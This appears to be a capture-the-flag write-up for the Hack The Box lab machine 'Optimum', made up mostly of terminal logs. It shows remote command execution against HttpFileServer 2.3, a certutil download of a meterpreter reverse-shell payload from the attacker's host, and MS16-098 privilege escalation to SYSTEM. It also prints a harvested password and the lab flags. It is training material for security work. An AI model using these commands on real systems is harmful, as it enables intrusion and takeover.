

Htb name: optimum

Nmap all ports verbose

1 port open, http port

```
[user@parrot]-[/usr/share/nmap/scripts]
$ nmap -n -v -p- optimum
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-24 14:16 +08
Initiating Ping Scan at 14:16
Scanning optimum (10.10.10.8) [2 ports]
Completed Ping Scan at 14:16, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 14:16
Scanning optimum (10.10.10.8) [65535 ports]
Discovered open port 80/tcp on 10.10.10.8
Connect Scan Timing: About 20.72% done; ETC: 14:18 (0:01:59 remaining)
Connect Scan Timing: About 39.75% done; ETC: 14:18 (0:01:42 remaining)
Connect Scan Timing: About 56.88% done; ETC: 14:19 (0:01:14 remaining)
Connect Scan Timing: About 74.00% done; ETC: 14:19 (0:00:45 remaining)
Completed Connect Scan at 14:19, 171.91s elapsed (65535 total ports)
Nmap scan report for optimum (10.10.10.8)
Host is up (0.0055s latency).
Not shown: 65534 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
```

Nmap tcp scan default scripts and version scan

```
[user@parrot]-[/usr/share/nmap/scripts]
$ nmap -n -sC -sV -p80 optimum
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-24 14:28 +08
Nmap scan report for optimum (10.10.10.8)
Host is up (0.011s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds
```

Nmap udp scan

Top 1000 udp ports closed

```
[user@parrot]-[/usr/share/nmap/scripts]
$ sudo nmap -sU optimum
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-24 14:16 +08
Nmap scan report for optimum (10.10.10.8)
Host is up (0.0030s latency).
All 1000 scanned ports on optimum (10.10.10.8) are open|filtered

Nmap done: 1 IP address (1 host up) scanned in 21.45 seconds
[user@parrot]-[/usr/share/nmap/scripts]
$
```

Searchsploit, there is a result for httpfileserver 2.3

```
[user@parrot]-[/usr/share/nmap/scripts]
$searchsploit httpfileserver
```

Exploit Title	Path
Rejeto HttpFileServer 2.3.x - Remote Command Execution (3)	windows/webapps/49125.py

```
Shellcodes: No Results
Papers: No Results
[user@parrot]-[/usr/share/nmap/scripts]
$
```

Dirb scan

```
[user@parrot]-[/usr/share/nmap/scripts]
$dirb http://optimum
```

```
-----
DIRB v2.22
By The Dark Raver
-----

START_TIME: Tue Aug 24 14:28:36 2021
URL_BASE: http://optimum/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----

GENERATED WORDS: 4612

---- Scanning URL: http://optimum/ ----
+ http://optimum/favicon.ico (CODE:200|SIZE:576)

-----

END_TIME: Tue Aug 24 14:29:35 2021
DOWNLOADED: 4612 - FOUND: 1
[user@parrot]-[/usr/share/nmap/scripts]
$
```

Executing exploit

```
[user@parrot]-[~/Desktop/optimum]
$python3 49125.py 10.10.10.8 80 "c:\windows\system32\ping.exe 10.10.14.29"
http://10.10.10.8:80/?search=%00{.+exec|c%3A%5Cwindows%5Csystem32%5Cping.exe%2010.10.14.29.}
[user@parrot]-[~/Desktop/optimum]
$
```

Able to get reply

```
14:37:43.576241 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 1, length 40
14:37:43.576265 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 1, length 40
14:37:43.576842 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 2, length 40
14:37:43.576850 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 2, length 40
14:37:43.576855 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 3, length 40
14:37:43.576858 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 3, length 40
14:37:43.579747 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 4, length 40
14:37:43.579780 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 4, length 40
14:37:44.579712 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 5, length 40
14:37:44.579735 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 5, length 40
14:37:44.594838 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 6, length 40
14:37:44.594857 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 6, length 40
14:37:44.595035 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 7, length 40
14:37:44.595047 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 7, length 40
14:37:44.595054 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 8, length 40
14:37:44.595058 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 8, length 40
14:37:45.595107 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 9, length 40
14:37:45.595127 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 9, length 40
14:37:45.610619 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 10, length 40
14:37:45.610640 IP 10.10.14.29 > optimum: ICMP echo reply, id 1, seq 10, length 40
14:37:45.610849 IP optimum > 10.10.14.29: ICMP echo request, id 1, seq 11, length 40
```

Getting ready to download shell

Meterpreter payload: x86

```
[user@parrot]~[/Desktop]
└─$ cd optimum/
[user@parrot]~[/Desktop/optimum]
└─$ sudo updog -d . -p 80
[+] Serving /home/user/Desktop/optimum...
* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)

```

```
/bin/bash 105x19
C
[X] [user@parrot]~[/Desktop/optimum]
└─$
[X] [user@parrot]~[/Desktop/optimum]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.29 LPORT=443 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
[user@parrot]~[/Desktop/optimum]
└─$
```

Meterpreter shell downloaded as seen from server logs

```
[user@parrot]~[/Desktop/optimum]
$ sudo updog -d . -p 80
[+] Serving /home/user/Desktop/optimum...
* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
10.10.10.8 - - [24/Aug/2021 14:43:58] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 14:43:58] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 14:43:58] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 14:43:58] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 14:43:58] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 14:43:58] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 14:43:58] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 14:43:59] "GET /shell.exe HTTP/1.1" 200 -
```

Executing exploit to download meterpreter shell to target machine

```
[user@parrot]~[/Desktop/optimum]
$ python3 49125.py 10.10.10.8 80 "c:\windows\system32\certutil.exe /urlcache /f http://10.10.14.29/shell.exe shell.exe"
http://10.10.10.8:80/?search=%00{.+exec|c%3A%5Cwindows%5Csystem32%5Ccertutil.exe%20/urlcache%20/f%20http%3A//10.10.14.29/shell.exe%20shell.exe.}
[user@parrot]~[/Desktop/optimum]
$
```

Executing meterpreter shell

```
[user@parrot]~[/Desktop/optimum]
$ python3 49125.py 10.10.10.8 80 "shell.exe"
http://10.10.10.8:80/?search=%00{.+exec|shell.exe.}
[user@parrot]~[/Desktop/optimum]
$
```

Gained shell

```
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.29:443
[*] Sending stage (175174 bytes) to 10.10.10.8
[*] Sending stage (175174 bytes) to 10.10.10.8
[*] Sending stage (175174 bytes) to 10.10.10.8
[*] Sending stage (175174 bytes) to 10.10.10.8
[*] Meterpreter session 3 opened (10.10.14.29:443 -> 10.10.10.8:49166) at 2021-08-24 14:46:10 +0800
[*] Meterpreter session 4 opened (10.10.14.29:443 -> 10.10.10.8:49167) at 2021-08-24 14:46:10 +0800
[*] Meterpreter session 6 opened (10.10.14.29:443 -> 10.10.10.8:49169) at 2021-08-24 14:46:10 +0800
[*] Meterpreter session 5 opened (10.10.14.29:443 -> 10.10.10.8:49168) at 2021-08-24 14:46:10 +0800

meterpreter > getuid
Server username: OPTIMUM\kostas
meterpreter > sysinfo
Computer      : OPTIMUM
OS            : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : el_GR
Domain       : HTB
Logged On Users : 1
Meterpreter   : x86/windows
meterpreter >
```

User shell:

d0c39409d7b994a9a1389ebf38ef5f73

C:\Users\kostas\Desktop>whoami /priv

whoami /priv

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled

C:\Users\kostas\Desktop>dir

dir

Volume in drive C has no label.

Volume Serial Number is D0BC-0196

Directory of C:\Users\kostas\Desktop

```
30/08/2021  06:42  <DIR>      .
30/08/2021  06:42  <DIR>      ..
18/03/2017  03:11          760.320 hfs.exe
30/08/2021  06:42          73.802 shell.exe
18/03/2017  03:13          32 user.txt.txt
               3 File(s)      834.154 bytes
               2 Dir(s)  31.886.696.448 bytes free
```

C:\Users\kostas\Desktop>type user.txt.txt

type user.txt.txt

d0c39409d7b994a9a1389ebf38ef5f73

C:\Users\kostas\Desktop>

Uploaded powerup

meterpreter > upload /home/user/Desktop/optimum/PowerUp.ps1 c://temp

[*] uploading : /home/user/Desktop/optimum/PowerUp.ps1 -> c://temp

[*] uploaded : /home/user/Desktop/optimum/PowerUp.ps1 -> c://temp\PowerUp.ps1

meterpreter >

<https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/>

Running powerup by following instructions.

PS > get-executionpolicy

Unrestricted

PS >

Results of powerup, seems to lead nowhere.

```
PS > import-module ./powerup.ps1
PS > invoke-allchecks

DefaultDomainName      :
DefaultUserName        : kostas
DefaultPassword        : kdeEjDowkS*
AltDefaultDomainName   :
AltDefaultUserName     :
AltDefaultPassword     :
Check                  : Registry Autologons

PS > █
```

Downloaded results of systeminfo to local system for Windows exploit suggester usage.

```
meterpreter > download c://temp//sysinfo.txt /tmp/
[*] Downloading: c://temp//sysinfo.txt -> /tmp/sysinfo.txt
[*] Downloaded 3.26 KiB of 3.26 KiB (100.0%): c://temp//sysinfo.txt -> /tmp/sysinfo.txt
[*] download      : c://temp//sysinfo.txt -> /tmp/sysinfo.txt
meterpreter > █
```

<https://stackoverflow.com/questions/65254535/xlrd-biffh-xlrderror-excel-xlsx-file-not-supported>

This is a pain point as the recent "xlrd" version breaks exploit suggester.

```
[X]-[user@parrot]-[~/Desktop/Windows-Exploit-Suggester]
└─$ pip install xlrd==1.2.0
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please
about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/c
Defaulting to user installation because normal site-packages is not writeable
Collecting xlrd==1.2.0
  Downloading xlrd-1.2.0-py2.py3-none-any.whl (103 kB)
    |████████████████████| 103 kB 15.2 MB/s
Installing collected packages: xlrd
Successfully installed xlrd-1.2.0
[user@parrot]-[~/Desktop/Windows-Exploit-Suggester]
```

Results of windows exploit suggester:

Take note of **ms16-098**

```
[user@parrot]-[~/Desktop/Windows-Exploit-Suggester]
└─$ python2 windows-exploit-suggester.py --database 2021-08-24-mssb.xls --systeminfo
sysinfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ISO-8859-1)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137
known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitable PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*]
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of
Service (MS16-135)
[*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys'
'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*] https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGN0BJ Integer
Overflow (MS16-098)
```

```

[*]
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*] https://github.com/foxglovesec/RottenPotato
[*] https://github.com/Kevin-Robertson/Tater
[*] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV
NTLM Reflection Elevation of Privilege
[*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege
Escalation
[*]
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*] https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related
EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*] https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFDDLL NamedEscape
0x250C Pool Corruption (MS16-074), PoC
[*]
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*] https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector
Attribute Type Confusion (MS16-063), PoC
[*]
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) -
Important
[*] https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege
Escalation, MSF
[*] https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon
Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*] https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012
(x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*] https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012
(x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*]
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*] https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege
Escalation, MSF
[*] https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege
Escalation Exploit (MS16-016) (2), PoC
[*] https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV
Privilege Escalation (MS16-016) (1), PoC
[*]
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228)
- Important
[*] Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*]
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901)
- Important
[*] https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows
devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*] https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting
with WMALFXGFXDSP.dll (MS-16-007), PoC
[*]
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162)
- Important
[*] https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting
with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*] https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL
Planting (MS15-134), PoC
[*]
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*] https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 -
CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*]
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) -
Important
[*] https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point
Creation Mitigation Bypass (MS15-111), PoC
[*]
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege
(3089657) - Important
[*] https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask
SettingsSyncDiagnostics Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler
DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker
Privilege Escalation, PoC
[*]
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution
(3089656) - Critical

```

```
[*] https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*]
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*] https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*]
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*] https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*]
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*] https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*]
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*] http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*]
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*]
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*] https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*] http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*] http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*] http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*] http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*] http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*] http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*]
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done
```


<https://github.com/offensive-security/exploitdb-bin-splotts/raw/master/bin-splotts/41020.exe>

There is a binary version available of the said exploit.

🏠

🔍 <https://www.exploit-db.com/exploits/41020>

Started Start Parrot OS Community Docs Git CryptPad Privacy Pentest Learn Donations

EDB-ID:
41020

CVE:

Author:
SAIF

T:
L:

EDB Verified: ✓

Exploit: 📄 / {}

⬅️

// Source: <https://github.com/sensepost/ms16-098/tree/b85b8dfdd20a50fc7bc6c40337b8de99d6c4db80>

// Binary: <https://github.com/offensive-security/exploitdb-bin-splotts/raw/master/bin-splotts/41020.exe>

Upload exploit to target.

```
meterpreter > upload /home/user/Desktop/optimum/41020.exe c://temp
[*] uploading : /home/user/Desktop/optimum/41020.exe -> c://temp
[*] uploaded : /home/user/Desktop/optimum/41020.exe -> c://temp\41020.exe
meterpreter > █
```

Exploit failed to run for whatever reason, had to change meterpreter shell to x64.

Same routine, create meterpreter x64 payload, upload it to target. Then run the x64 meterpreter payload.

```
10.10.10.8 - - [24/Aug/2021 16:13:11] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 16:13:11] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 16:13:11] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 16:13:11] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 16:13:11] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 16:13:11] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 16:13:11] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 16:13:11] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.8 - - [24/Aug/2021 16:13:11] "GET /shell.exe HTTP/1.1" 200 -
█

/bin/bash 105x19
199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 560128 (547K) [application/octet-stream]
Saving to: '41020.exe'

41020.exe          100%[=====>] 547.00K  --.-KB/s    in 0.009s

2021-08-24 16:09:28 (58.6 MB/s) - '41020.exe' saved [560128/560128]

[user@parrot]~[/Desktop/optimum]
$msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.29 LPORT=443 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
[user@parrot]~[/Desktop/optimum]
$ █
```

```
[user@parrot]~/Desktop/optimum]
$python3 49125.py 10.10.10.8 80 "shell.exe"
http://10.10.10.8:80/?search=%00{.+exec|shell.exe.}
[user@parrot]~/Desktop/optimum]
$
```

x64 reverse shell.

```
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.29:443
[*] 10.10.10.8 - Meterpreter session 8 closed. Reason: Died
[*] 10.10.10.8 - Meterpreter session 10 closed. Reason: Died
[*] 10.10.10.8 - Meterpreter session 7 closed. Reason: Died
[*] 10.10.10.8 - Meterpreter session 3 closed. Reason: Died
[*] 10.10.10.8 - Meterpreter session 6 closed. Reason: Died
[*] 10.10.10.8 - Meterpreter session 4 closed. Reason: Died
[*] Sending stage (200262 bytes) to 10.10.10.8
[*] Meterpreter session 11 opened (10.10.14.29:443 -> 10.10.10.8:49168) at 2021-08-24 16:13:19 +0800

meterpreter > sysinfo
Computer      : OPTIMUM
OS            : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : el_GR
Domain        : HTB
Logged On Users : 1
Meterpreter   : x64/windows
meterpreter > getuid
Server username: OPTIMUM\kostas
meterpreter >
```

Run exploit and gain system privilege.

```
meterpreter > shell
Process 3044 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>cd \temp
cd \temp

C:\temp>dir
dir
Volume in drive C has no label.
Volume Serial Number is D0BC-0196

Directory of C:\temp

30/08/2021  08:08  <DIR>          .
30/08/2021  08:08  <DIR>          ..
30/08/2021  08:08           560.128 41020.exe
30/08/2021  06:57           600.580 PowerUp.ps1
30/08/2021  07:36           3.335 sysinfo.txt
30/08/2021  07:16           35.762 winpeas.bat
               4 File(s)      1.199.805 bytes
               2 Dir(s)    28.633.309.184 bytes free

C:\temp>41020.exe
41020.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\temp>whoami
whoami
nt authority\system
```

Root flag:

```
51ed1b36553c8461f4552c2e92b3eed
```

```
C:\Users\ADMINI~1>cd Desktop
```

```
cd Desktop
```

```
C:\Users\ADMINI~1\Desktop>dir
```

```
dir
```

```
Volume in drive C has no label.
```

```
Volume Serial Number is D0BC-0196
```

```
Directory of C:\Users\ADMINI~1\Desktop
```

```
18/03/2017  03:14  <DIR>          .
18/03/2017  03:14  <DIR>          ..
18/03/2017  03:14              32 root.txt
                1 File(s)                32 bytes
                2 Dir(s) 28.633.284.608 bytes free
```

```
C:\Users\ADMINI~1\Desktop>type root.txt
```

```
type root.txt
```

```
51ed1b36553c8461f4552c2e92b3eed
```

```
C:\Users\ADMINI~1\Desktop>
```